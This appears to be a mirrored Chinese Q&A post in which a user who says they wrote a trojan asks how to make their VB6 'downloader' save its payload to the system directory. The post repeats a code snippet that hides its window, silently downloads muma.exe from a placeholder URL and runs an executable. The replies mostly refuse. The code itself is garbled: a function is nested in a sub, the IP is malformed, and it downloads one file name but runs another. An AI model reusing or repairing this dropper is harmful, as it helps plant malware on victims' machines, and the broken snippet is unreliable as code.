UC知道菜鸟求助！下载者中文件路径的问题！
来源：百度知道 编辑：UC知道 时间：2024/06/25 11:01:09
菜鸟求助！下载者中文件路径的问题！
自己写了个马 体积太大
所以想弄个下载者 找到了一段代码
Private Sub Form_Load()
Me.Visible = False
DownloadFile "http://127.0.01/muma.exe", App.Path & "\muma.exe"
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then
DownloadFile = True
Shell App.Path & "\systam.exe"
End If
End Function
每次下载的文件都放在桌面 怎么修改 让下载的文件放的系统目录
答对加分
自己写了个马 体积太大
所以想弄个下载者 找到了一段代码
Private Sub Form_Load()
Me.Visible = False
DownloadFile "http://127.0.01/muma.exe", App.Path & "\muma.exe"
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then
DownloadFile = True
Shell App.Path & "\systam.exe"
End If
End Function
每次下载的文件都放在桌面 怎么修改 让下载的文件放的系统目录
答对加分
App.Path 文件所在的文件夹目录，所以你应该是文件放置的问题，还有写木马可以学习，但是最好不要用。现在网络已经够乱的了。
对于你这样的人。我会也不会告诉你的。